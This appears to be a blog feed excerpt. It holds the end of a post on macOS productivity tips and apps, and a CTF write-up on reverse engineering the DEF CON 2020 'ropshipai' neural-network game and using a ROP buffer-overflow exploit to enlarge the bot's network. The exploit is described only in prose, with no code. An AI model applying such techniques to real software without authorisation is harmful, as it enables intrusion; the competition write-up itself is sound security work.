  &lt;li&gt;You can drag the little file/folder icons at the top of many windows, useful in combo with previous tips.&lt;/li&gt;
  &lt;li&gt;If you hold down &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;option&lt;/code&gt; while clicking the “Scaled” radio button in the Display preferences it’ll give you many more resolution options on external displays. If you want native resolution with no scaling on the built in display you’ll still need an external tool like &lt;a href=&quot;https://www.madrau.com/&quot;&gt;SwitchResX&lt;/a&gt;, &lt;a href=&quot;https://github.com/lunixbochs/meta/tree/master/utils/retina&quot;&gt;retina&lt;/a&gt; or &lt;a href=&quot;https://www.thnkdev.com/QuickRes/&quot;&gt;QuickRes&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;In Finder, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;return&lt;/code&gt; is the shortcut for rename, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;option&lt;/code&gt;+drag copies, and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;space&lt;/code&gt; is quicklook preview&lt;/li&gt;
  &lt;li&gt;In Preview if you open the Sidebar in a PDF you can drag pages around including between documents, hold option to copy, delete pages with backspace. This plus the edit toolbar solves 90% of my PDF munging needs.&lt;/li&gt;
  &lt;li&gt;You can select multiple images in Finder and drag them onto the Preview dock icon to open them in one window with a Sidebar where you can quickly flip between them with arrow keys.&lt;/li&gt;
  &lt;li&gt;In the Dock preferences there’s a “Prefer tabs when opening documents” setting which automatically groups your windows with window tabs. I find this especially useful for Sublime Text.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+backtick&lt;/code&gt; is like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+tab&lt;/code&gt; but between windows of the same app. Adding &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shift&lt;/code&gt; (i.e., &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+shift+backtick&lt;/code&gt;) reverses the order. You can add &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;shift&lt;/code&gt; to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+tab&lt;/code&gt; to go backwards too.&lt;/li&gt;
  &lt;li&gt;Drag your most frequently used folders into the Finder sidebar for easy access including in file select dialogs.&lt;/li&gt;
  &lt;li&gt;Select multiple similarly named files in Finder, right-click, and choose “Rename &lt;X&gt; Items...&quot; for a reasonably powerful batch file renamer.&lt;/X&gt;&lt;/li&gt;
  &lt;li&gt;In the Finder preferences you can add your computer and drives to the sidebar.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;cmd+shift+4&lt;/code&gt; pops up a crosshair to take a screenshot of a region. Hit &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;spacebar&lt;/code&gt; to switch to a mode that takes a screenshot of an entire window.&lt;/li&gt;
  &lt;li&gt;You can &lt;a href=&quot;https://www.defaults-write.com/disable-press-and-hold-option-in-mac-os-x-10-7/&quot;&gt;disable the popup for accented characters when you hold a key&lt;/a&gt; and  &lt;a href=&quot;https://apple.stackexchange.com/questions/10467/how-to-increase-keyboard-key-repeat-rate-on-os-x&quot;&gt;increase key repeat rate beyond the normal maximum&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;The &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;open&lt;/code&gt; command lets you use the normal macOS file opening mechanism from the command line, I most frequently use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;open .&lt;/code&gt; to navigate to my current directory in my file browser.&lt;/li&gt;
  &lt;li&gt;Display “scales” other than 1x or 2x the physical resolution work by rendering at 2x the resolution then down-scaling. This causes apps to need to render a bunch of pixels that are mostly scaled away, consuming power and sometimes causing lag. It can also lead to weird aliasing issues in some contexts like shimmering of thin fonts when scrolling, as well as rendering in general not being pixel-perfect. I recommend trying to stick to either 1x or 2x scaling if you don’t lose much from it, then just adjusting your default web page scale and font sizes.&lt;/li&gt;
  &lt;li&gt;Text fields &lt;a href=&quot;https://jblevins.org/log/kbd&quot;&gt;support a bunch of powerful movement and editing shortcuts based on Emacs&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;option+2&lt;/code&gt; types the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;™&lt;/code&gt; symbol, for use with sarcasm™. I probably use this more than the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;^&lt;/code&gt; symbol. You can open the keyboard viewer (you may have to enable “Show keyboard and emoji viewers in menu bar” in Keyboard Preferences) and hold down option to see all the other symbols you can type like this. The “Emoji &amp;amp; Symbols” pallete is also a great UI for finding handy Unicode characters, especially if you use the gear menu to add more symbol category pages.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;apps&quot;&gt;Apps&lt;/h2&gt;

&lt;p&gt;A big part of why I prefer macOS is this list of macOS-only native apps which often don’t have adequate substitutes on Linux:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;&lt;a href=&quot;https://kapeli.com/dash&quot;&gt;Dash&lt;/a&gt;: An amazing fast offline documentation search app. Cuts down a ton on the amount I Google for docs. It’s very quick to use especially when summoned with a keyboard shortcut and has tons of documentation sets.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.hammerspoon.org/&quot;&gt;Hammerspoon&lt;/a&gt;: My favorite app for getting the benefits of a Linux tiling window manager. I have home row shortcuts on my left hand bound to switch directly to my most frequently used apps, and my right hand to maximize windows, move them between screens and tile them to the left and right halves of the screen. &lt;a href=&quot;https://github.com/trishume/dotfiles/blob/d12f869062b2fa2d4b3f72eeed2f0e05df5a8657/hammerspoon/hammerspoon.symlink/init.lua&quot;&gt;Here’s my config.&lt;/a&gt;&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.thnkdev.com/Screenie/&quot;&gt;Screenie&lt;/a&gt;: I only use this for the feature where dragging from the menu bar icon lets you put your most recent screenshot in say messaging apps. It also offers search and things. &lt;a href=&quot;https://cleanshot.com/&quot;&gt;CleanShot X&lt;/a&gt; and &lt;a href=&quot;https://zapier.com/zappy&quot;&gt;Zappy&lt;/a&gt; also look like good screenshot apps but I haven’t tried them yet.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://karabiner-elements.pqrs.org/&quot;&gt;Karabiner Elements&lt;/a&gt;: A powerful keyboard remapping tool. I use it to bind right command to control and caps lock to &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ctrl+cmd+option+shift&lt;/code&gt; for use with Hammerspoon.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.alfredapp.com/&quot;&gt;Alfred&lt;/a&gt;: A mildly better spotlight alternative, but for me the main benefit over spotlight is &lt;a href=&quot;https://github.com/deanishe/alfred-repos&quot;&gt;this workflow for indexing git repos&lt;/a&gt;.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://cocoatech.com/#/&quot;&gt;Path Finder&lt;/a&gt;: A fancier version of Finder with multiple panes and various other advanced features. Other third party file managers you may want to try include &lt;a href=&quot;https://binarynights.com/&quot;&gt;Forklift&lt;/a&gt;, &lt;a href=&quot;https://mac.eltima.com/file-manager.html&quot;&gt;Commander One&lt;/a&gt;, &lt;a href=&quot;https://magnumbytes.com/&quot;&gt;Nimble Commander&lt;/a&gt;, &lt;a href=&quot;https://marta.yanex.org/&quot;&gt;Marta&lt;/a&gt; and &lt;a href=&quot;https://fman.io/&quot;&gt;fman&lt;/a&gt;. I use Path Finder because it’s the only one with a good columns view and that’s my favorite view for browsing.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://sparkmailapp.com/&quot;&gt;Spark&lt;/a&gt;: A nice email app with categorized inbox functionality.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://bjango.com/mac/istatmenus/&quot;&gt;iStat Menus&lt;/a&gt;: All sorts of system monitoring in a menu bar. I really like the weather, and I also have a combined menu which shows my current power draw in watts and GPU selection in the icon.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://tapbots.com/tweetbot/mac/&quot;&gt;Tweetbot&lt;/a&gt;: A native Twitter client that syncs with a similar IOS client. I really like how it just keeps your position in an infinite scroll where new tweets get added to the top, so I can easily read every new tweet from people I follow without seeing any likes, algorithmic suggestions or ads.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://github.com/ridiculousfish/HexFiend/&quot;&gt;Hex Fiend&lt;/a&gt;: A really good hex editor/viewer. I like their “Templates” feature where you can describe a binary format with a script and it will overlay the parse tree on the hex view.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://iterm2.com/&quot;&gt;iTerm2&lt;/a&gt;: An alternative Terminal with just &lt;em&gt;so many features&lt;/em&gt;. I particularly like the ability to split windows into panes, which Apple’s Terminal does not have.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://brettterpstra.com/projects/nvalt/&quot;&gt;nvAlt&lt;/a&gt;: A note taking app that I like, although it’s kinda bare-bones and has some bugs. It’s currently unmaintained because the author is working on &lt;a href=&quot;https://nvultra.com/&quot;&gt;nvUltra&lt;/a&gt; which isn’t released yet.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://imageoptim.com/mac&quot;&gt;ImageOptim&lt;/a&gt;: Easy app where you drag image files onto it and it reduces their size.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.vmware.com/products/fusion.html&quot;&gt;VMWare Fusion&lt;/a&gt;: Great for running Linux and Windows VMs. The reason I chose it over &lt;a href=&quot;https://www.parallels.com/products/desktop/pro/&quot;&gt;Parallels&lt;/a&gt; is that I knew it had virtualized PMC support, which enables using &lt;a href=&quot;https://rr-project.org/&quot;&gt;rr&lt;/a&gt; in VMs. But apparently Parallels also has this in the Pro version, and it might be nicer in other ways, not sure which is better.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;http://calca.io/&quot;&gt;Calca&lt;/a&gt;: A weird live math calculator notebook thing with units. The editing can be kind of glitchy but the basic functionality is really cool. &lt;a href=&quot;https://soulver.app/&quot;&gt;Soulver&lt;/a&gt; is a similar but more expensive app with a nicer UI but less powerful underlying calculator language.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://developer.apple.com/download/more/&quot;&gt;Quartz Debug&lt;/a&gt;: There are some apps that reduce your battery life in an insidious way where it doesn’t show as CPU usage for their process but as increased &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WindowServer&lt;/code&gt; CPU usage. If your &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;WindowServer&lt;/code&gt; process CPU usage is above maybe 6-10% when you’re not doing anything, some app in the background is probably spamming 60fps animation updates. As far as I know you can only figure out which app is at fault by getting the Quartz Debug app from &lt;a href=&quot;https://developer.apple.com/download/more/&quot;&gt;Apple’s additional developer tools&lt;/a&gt;, enabling flash screen updates (and no delay after flash), then going to the overview mode (four finger swipe up) and looking for flashing. This same problem can also occur on Linux and Windows but I don’t know how much power it saps there.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://www.sublimetext.com/&quot;&gt;Sublime Text&lt;/a&gt; and &lt;a href=&quot;https://www.sublimemerge.com/&quot;&gt;Merge&lt;/a&gt;: These aren’t exactly macOS-only apps but they’re some of my favorite apps and they integrate excellently with macOS so I’m putting them here anyways.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;bonus-browsers&quot;&gt;Bonus: Browsers&lt;/h2&gt;

&lt;ul&gt;
  &lt;li&gt;Middle click opens links in a new tab and middle clicking on a tab closes it&lt;/li&gt;
  &lt;li&gt;There’s lots of lesser-known handy shortcuts: cmd/ctrl+l focuses the search filed, cmd/ctrl+w closes a tab&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://vimium.github.io/&quot;&gt;Vimium&lt;/a&gt; and &lt;a href=&quot;https://www.octotree.io/&quot;&gt;OctoTree&lt;/a&gt; are my favorite browser extensions.&lt;/li&gt;
  &lt;li&gt;I believe YouTube in Chrome and Firefox default to VP8/9 video codecs which can’t be hardware-decoded so use lots of CPU and thus battery power especially at 2x speed or high resolutions. The &lt;a href=&quot;https://github.com/alextrv/enhanced-h264ify&quot;&gt;h264ify&lt;/a&gt; family of extensions can force usage of GPU-supported h264 codecs. This can close some of the battery life gap with Safari.&lt;/li&gt;
  &lt;li&gt;If you use Safari, Chrome and Firefox have much better sounding audio resampling for watching videos on 1.5x or 2x speed. This is the only reason I don’t use Safari.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;bonus-ios&quot;&gt;Bonus: IOS&lt;/h2&gt;

&lt;p&gt;IOS also has a bunch of hidden UI features, especially if you have a medium-old model of iPhone that still has force touch sensors.&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Swiping left and right on the home bar at the bottom of the screen on phones since the iPhone X quickly switches between recent apps. This is absolutely essential to how I use my phone and such a huge boost to multitasking fluidity I feel bad for all the people who don’t know about it.&lt;/li&gt;
  &lt;li&gt;Force or long pressing on the keyboard (maybe just the spacebar on some phones), brings up a moveable cursor in text fields.&lt;/li&gt;
  &lt;li&gt;If you have force touch try it on everything, tons of widgets in the pull down settings have force touch features, notifications do, links do.&lt;/li&gt;
  &lt;li&gt;I’ve tried a lot of calculator apps and Kalkyl is my favorite for launch time and UI design for quick simple calculations. I also recommend Unread for RSS, and Apollo as possibly the best Reddit experience on any platform.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://isitsnappy.com/&quot;&gt;Is It Snappy&lt;/a&gt; lets you use an IOS device’s high speed camera to measure full-system interaction latency and find out that you have a slow keyboard, mouse or monitor. I have not found a similar app for Android.&lt;/li&gt;
  &lt;li&gt;Not exactly a software tip, but a non-obvious purchasing option: I contend buying an iPhone X on Ebay offers outstanding price/quality ratio even in 2020. It has basically the same screen/form factor/build quality as an iPhone 11 Pro, and I find it plenty fast and the camera sufficiently good, and those are basically the only things that improved. You even get force touch, which I really like as having lower latency than the more press-and-hold “3D Touch”. Meanwhile it’s less than half the price. I got mine discounted after the iPhone XS replaced it, and if mine broke I’d probably just buy another one now.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&quot;bonus-the-chromium-catapult-trace-viewer&quot;&gt;Bonus: The Chromium Catapult Trace Viewer&lt;/h2&gt;

&lt;p&gt;The motivation to write this post was caused by a conversation with a friend about macOS, which was in turn kicked off by &lt;a href=&quot;https://twitter.com/trishume/status/1302069073640120320?s=20&quot;&gt;a tweet&lt;/a&gt; about the &lt;a href=&quot;https://aras-p.info/blog/2017/01/23/Chrome-Tracing-as-Profiler-Frontend/&quot;&gt;The Chromium Trace Viewer (AKA Catapult)&lt;/a&gt;. Catapult is super easy to get started with for visualizing trace data and I know lots of different people and projects who use it. Almost none of them know about this incredibly helpful first tip until I tell it to them, so they’re stuck with having to switch to the zoom tool in the toolbar:&lt;/p&gt;

&lt;ul&gt;
  &lt;li&gt;Use &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;alt+scroll&lt;/code&gt; to zoom. This really ought to be in noticeable text on their UI not buried in a shortcuts pane you have to press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;?&lt;/code&gt; to see.&lt;/li&gt;
  &lt;li&gt;The search bar in the top left searches not only names but also arguments values, which you can use to search for IDs or add special tags like &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;top100&lt;/code&gt; for the 100 slowest events. Press &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;f&lt;/code&gt; to zoom to a span once you’ve selected it with the search arrow buttons.&lt;/li&gt;
  &lt;li&gt;The JSON event format also supports “flow” arrows, which lets you draw arrows between your boxes to visualize dependencies.&lt;/li&gt;
  &lt;li&gt;&lt;a href=&quot;https://perfetto.dev/&quot;&gt;Perfetto&lt;/a&gt;, &lt;a href=&quot;https://github.com/wolfpld/tracy&quot;&gt;Tracy&lt;/a&gt; and &lt;a href=&quot;https://www.speedscope.app/&quot;&gt;Speedscope&lt;/a&gt; can all visualize the same JSON format with different UIs and potentially without a trace size cap.&lt;/li&gt;
&lt;/ul&gt;
</content>
 </entry>
 
 
 
 <entry>
   <title>Reverse engineering an AI spaceship game at DEF CON CTF</title>
   <link href="https://thume.ca/2020/08/15/ropshipai/"/>
   <updated>2020-08-15T00:00:00+00:00</updated>
   <id>https://thume.ca/2020/08/15/ropshipai</id>
   <content type="html">
&lt;p&gt;I recently played with &lt;a href=&quot;[Samurai](https://ctftime.org/team/1937)&quot;&gt;Samurai&lt;/a&gt; in the DEF CON CTF 2020 finals, and want to write about an incredibly cool challenge I worked on called &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;ropshipai&lt;/code&gt;. It involved reverse engineering a binary to discover the architecture and format of a neural network, creating a network to control your spaceship in an arena against all the other teams, then doing a &lt;a href=&quot;https://en.wikipedia.org/wiki/Return-oriented_programming&quot;&gt;ROP&lt;/a&gt; exploit using a buffer overflow to get more capacity for a smarter AI. I hope this article can give you a taste of what high level security CTF contests can be like and why they’re so fun.&lt;/p&gt;

&lt;p&gt;Here’s what it looked like near the end of the contest, I cherry-picked a round where our final bot (labeled ‘X’ in light grey) won:&lt;/p&gt;
&lt;video controls=&quot;&quot; width=&quot;660&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
    &lt;source src=&quot;/assets/postassets/ropshipai/v313-trim2.mp4&quot; type=&quot;video/mp4&quot; /&gt;
    Sorry, your browser doesn&apos;t support embedded videos.
&lt;/video&gt;

&lt;h2 id=&quot;part-1-reverse-engineering&quot;&gt;Part 1: Reverse engineering&lt;/h2&gt;

&lt;p&gt;We were given a download which included a PyGame UI to simulate the game. The UI called out to an x86 binary which we figured out computed the move for a team’s bot using an input file. We figured that file was probably the same thing the “Upload AI” button on the challenge’s web portal accepted. There was a challenge a previous year called “ropship” that involved a similar arena with bots controlled by return-oriented programming and we assumed the “AI” added this year meant a neural net, but didn’t yet see any of the organizers’ usual Tensorflow.&lt;/p&gt;

&lt;p&gt;So we started reversing the binary, and my teammates found various functions that seemed to do floating point math and loops, which they started using &lt;a href=&quot;https://www.hex-rays.com/products/decompiler/compare/compare_vs_disassembly/&quot;&gt;IDA’s decompiler&lt;/a&gt; on and matching up with common neural net functions. They quickly found &lt;a href=&quot;https://machinelearningmastery.com/rectified-linear-activation-function-for-deep-learning-neural-networks/&quot;&gt;ReLU&lt;/a&gt;, then an iterative function that we figured out produced results matching &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;e^x&lt;/code&gt;. We also found a function that at first appeared to be &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;1/(1-e^(-x))&lt;/code&gt;, which was confusing since that’s almost &lt;a href=&quot;https://en.wikipedia.org/wiki/Sigmoid_function&quot;&gt;a sigmoid&lt;/a&gt; but with subtraction instead of addition. I took a look in &lt;a href=&quot;https://binary.ninja/&quot;&gt;Binary Ninja&lt;/a&gt; and it looked like addition to me, it turned out IDA had just decompiled it wrong and it &lt;em&gt;was&lt;/em&gt; a sigmoid.&lt;/p&gt;

&lt;p&gt;That left the big function with lots of math and loops, which we assumed was the main network evalutation function. I got to work using the new decompiled view in Binary Ninja to try and decipher what it was doing and what the structure of the inputs we had to give it were, while my teammate &lt;a href=&quot;https://twitter.com/samczsun&quot;&gt;samczsun&lt;/a&gt; figured out the input file parsing code that set up those inputs. At the same time, other teammates figured out the simulator and what inputs it could feed to the network.&lt;/p&gt;

&lt;p&gt;&lt;a href=&quot;/assets/postassets/ropshipai/reversing.png&quot;&gt;&lt;img src=&quot;/assets/postassets/ropshipai/reversing.png&quot; alt=&quot;Reversing in binja&quot; /&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;I reverse-engineered all the pointer arithmetic and simplified things to write out a pseudo-C version of the network evaluation function. It seemed to evaluate a number of lineary layers with biases, each followed by either a sigmoid or ReLU activation function (chosen by the input file). The input parsing code hard-coding the number of hidden layers between the input and output layer equal to 1, which was weird and fishy.&lt;/p&gt;

&lt;p&gt;Once we had collectively figured out how everything fit together, we wanted to get a bot out there and earning points as fast as possible. First &lt;a href=&quot;https://twitter.com/lunixbochs&quot;&gt;aegis&lt;/a&gt; wrote a Python network serializer script and deployed a bot that just set the bias on going forward to run us into the wall so we were a smaller target and not in the expected position for anyone managing to shoot. The next bot had hand-designed weights in the matrices to rotate the ship unless it was ready to fire in which case it shot. We weren’t quite the first to upload a non-empty network (an empty file just shot the wall) but we were something like 2nd.&lt;/p&gt;

&lt;h2 id=&quot;part-2-training-a-better-network&quot;&gt;Part 2. Training a better network&lt;/h2&gt;

&lt;p&gt;While &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; worked on making a smarter hand-coded bot, I started work on training a real neural net to be a better AI. An alternative I brought up was to write something to compile a domain specific language to weights, using the fact I had learned about in my university machine learning course that you could approximate any function using only one hidden layer by using &lt;a href=&quot;http://neuralnetworksanddeeplearning.com/chap4.html&quot;&gt;a specific method of engineering weights&lt;/a&gt; to set the value of the output for different regions of input. However, given that both &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; and I had done some deep learning training before we figured it would be easier to just use gradient descent.&lt;/p&gt;

&lt;p&gt;I fired up a &lt;a href=&quot;https://jupyter.org/&quot;&gt;Jupyter&lt;/a&gt; notebook, replicated the architecture, and thought of a way to make a basic AI by writing a Python function to output what we wanted the AI to do given various inputs, and feeding lots of randomly generated input vectors through the function and training the neural net to match those actions like a normal supervised classifier.&lt;/p&gt;

&lt;p&gt;Unfortunately it was harder than I expected and it took annoyingly long tuning hyperparameters and how my training setup worked before I even managed to train a network to do one action if the single input was less than &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.5&lt;/code&gt; and another if it was greater:&lt;/p&gt;

&lt;p&gt;&lt;img src=&quot;/assets/postassets/ropshipai/pointfive.png&quot; alt=&quot;PointFiveNet&quot; /&gt;&lt;/p&gt;

&lt;p&gt;Next I worked on modifying &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt;’s code, which wrote out his hand-coded weights in the correct format, to take the weights from my trained model. Unfortunately the first network I exported this way just didn’t do anything when run in the simulator. So I spent some time investigating the polarity of how PyTorch did biases, trying out different combinations and reasoning through whether
I wanted to write things out in row-major or column-major order, all to no avail. I even wrote some code to export aegis’s hand-coded weights using my exporter, and that worked but my model still didn’t.&lt;/p&gt;

&lt;p&gt;So after around 2 hours I tried using GDB to trace the execution of my model through the binary while referencing the disassembly in Binary Ninja, to see what was going wrong. To my surprise it seemed to exit before it even ran my model, and exited with a weird error code. I bisected it down to find a validation function that limited hidden layer size to a 2x2 matrix, way too small to train anything significant. I posted the bad news in Slack and it turned out &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;samczsun&lt;/code&gt; had figured this out a while ago but in the hectic phase of everyone working on different reverse engineering in parallel, the rest of us didn’t hear.&lt;/p&gt;

&lt;h2 id=&quot;part-3-the-exploiting-and-fancier-bots&quot;&gt;Part 3: The exploiting and fancier bots&lt;/h2&gt;

&lt;p&gt;It looked like the “rop” in the challenge name wasn’t just a callback to last year’s “ropship” challenge and we’d have to exploit our way into more model capacity. We had already found a buffer overflow on the stack with unbounded user-controlled contents, in the code which fetched the inputs to feed to the network. It seemed like we could craft a ROP exploit to manipulate the size parameters of the network to change them after they had been validated. ROP is a technique where if you can overwrite the address the function call should return to on the stack, you can make it return anywhere you want, allowing you to execute any sequences of suffixes of any functions in the program to perform your exploit. There was a &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;seccomp&lt;/code&gt; policy and some weird custom “ASLR” and “sandboxing” that simultaneously made some ROP a bit easier while keeping things contained so we couldn’t easily just break out and exploit the challenge or run arbitrary code as our AI.&lt;/p&gt;

&lt;p&gt;I’ve never done ROP so &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; and &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;samczsun&lt;/code&gt; started work on that while I patched out the validation in my personal copy of the binary and got to work on training a better bot to work with the eventual exploit. In the mean time &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chainsaw10&lt;/code&gt; had written some better Python AI functions using a patched simulator to test them out, which I worked on training a model to match. It was again surprisingly difficult. I had a lot of trouble getting it to be able to do actions like shielding, which only needed to happen on around 5% of random inputs. The network would just always output &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;0.0&lt;/code&gt; for those actions except on some lucky training runs. I suspect something was going wrong with my initialization or gradients such that on most runs the shield output would fall into a place it could never get a gradient signal to recover from.&lt;/p&gt;

&lt;p&gt;Three hours later at around 6am I managed to get a basic AI trained which turned towards the closest bot, moved towards it, shot at it and shielded. At that point I went to sleep, the contest had been on a 9 hour pause and I intended to wake up again before it restarted, when the exploit would hopefully be finished.&lt;/p&gt;

&lt;p&gt;I ended up sleeping past my alarm until 2 hours after the contest started again. When I woke up, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; and another teammate had finished the ROP exploit and wrote a converter that added the exploit to the latest bot I trained, and it was deployed and doing decently! The exploit development had hit some snags but eventually landed on something which overwrote the return address to restart the execution of the function with the buffer overflow multiple times to get various things overwritten, to patch in a new network after the hidden size validation had passed on the original overflowing network.&lt;/p&gt;

&lt;p&gt;Unfortunately the bot we uploaded was still kind of crappy, it knew how to move around the arena towards a target but it kept doing that until it was right on top of them and then often died if the opponent then shot us at point blank range. It also only used the sine of the angle to the enemy so due to an ambiguity it would sometimes run in the exact opposite direction.&lt;/p&gt;

&lt;p&gt;So &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; and I worked on a better training setup with a GPU box and larger networks. In the mean time &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;chainsaw10&lt;/code&gt; had improved the AI function to not get too close to enemies and also be able to dodge bullets. We still had tons of trouble reliably training a network to match the function, but eventually ended up with a slightly better version of our previous bot and a version without very good aim trained on our new bot code. In simulations with our own bots the very accurate but simpler bot did better, so we uploaded that, but an hour later and one hour before the end of the contest I saw it wasn’t actually doing well against the other teams, so I uploaded the more sophisticated bot and it did much better and even managed to win a few rounds. It still had crappy aim and sometimes did the wrong thing though, and it had taken a lot of tweaking to get it to learn to shield.&lt;/p&gt;

&lt;h2 id=&quot;postscript-compiling-to-neural-nets&quot;&gt;Postscript: Compiling to neural nets&lt;/h2&gt;

&lt;p&gt;In hindsight given how much trouble we had training our small neural networks, in what seemed like it should have been a really easy task, it seems like the best approach was to use the &lt;a href=&quot;http://neuralnetworksanddeeplearning.com/chap4.html&quot;&gt;universal function approximation proof style tricks&lt;/a&gt; to write a compiler from a logic DSL to network weights that exactly implemented the function. I’m still not sure whether we had a hard time training because training shallow networks with small capacity is just hard, or there was some technique we were missing to get our training to work well.&lt;/p&gt;

&lt;p&gt;In the last two hours of the contest I worked on a prototype of the compiler approach for fun and managed to get it mostly working. I was using only one hidden layer so my input DSL required providing some constant thresholds on inputs, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AND&lt;/code&gt; gates on those threshold signals, and then each output was an &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;OR&lt;/code&gt; of some of the &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;AND&lt;/code&gt; results. This was enough to implement any truth table on thresholds, but it was incredibly wasteful of network capacity to do so and the flattening of the decision tree to a truth table still needed to be done manually. I had some ideas for how to automatically flatten a decision tree Python function into a truth table though using overloaded operators that detected thresholding on the inputs and breadth-first searched to explore the space of outputs, but the contest ended and I wanted to catch up on sleep after that.&lt;/p&gt;

&lt;p&gt;I talked to my friend on team &lt;a href=&quot;http://pwning.net/&quot;&gt;PPP&lt;/a&gt;, since PPP had a bot with really good clean behavior. He said that PPP did go the route of implementing a compiler to network weights, which could compile an arbitrary decision tree that included vector space arithmetic. They did it without flattening the tree by using multiple hidden layers, which the exploit allowed you to use. Unfortunately while as far as we could tell we should have been able to use multiple hidden layers, when we tried a multi-layer network it failed to do anything, and we never bothered to figure out why, since our training process worked about as well with one hidden layer.&lt;/p&gt;

&lt;h2 id=&quot;conclusion&quot;&gt;Conclusion&lt;/h2&gt;

&lt;p&gt;Overall this is the challenge I had the most fun with this DEF CON CTF finals, it combined reverse engineering, neural nets and exploitation, and had different possible valid approaches to solve it. It was super fun to upload an AI and see it dodge bullets and beat other teams based on a tower of hard-won knowledge and code from hours of work reverse engineering and tinkering. In general I get really into DEF CON CTF challenges because they’re a great combination of tractable problems I can work with friends on with fun competitive time pressure, that also are really interesting and difficult to make me feel like I’m exercising all of my available skill.&lt;/p&gt;

&lt;p&gt;This was only the last challenge I worked on. Earlier in the contest I worked on &lt;a href=&quot;https://archive.ooo/c/rorschach/372/&quot;&gt;rorschach&lt;/a&gt; helping &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;aegis&lt;/code&gt; by figuring things out and coming up with tweaks to make our black box hill climbing solver exploit a neural net classifier faster, and coming up with defensive checks against other teams’ attacks. In the middle I did miscellaneous reverse engineering and spent hours working on attacks for exploits teams patched before we were done implementing them, and an AI for another multi-team game that closed before I could deploy it. My other AI did have the best dang debugging visualizations a rushed CTF hack has ever seen though thanks to my affinity for &lt;a href=&quot;http://holoviews.org/&quot;&gt;HoloViews&lt;/a&gt;, which might have had a little to do with why it was too late…&lt;/p&gt;

&lt;video controls=&quot;&quot; width=&quot;660&quot; autoplay=&quot;&quot; muted=&quot;&quot; loop=&quot;&quot;&gt;
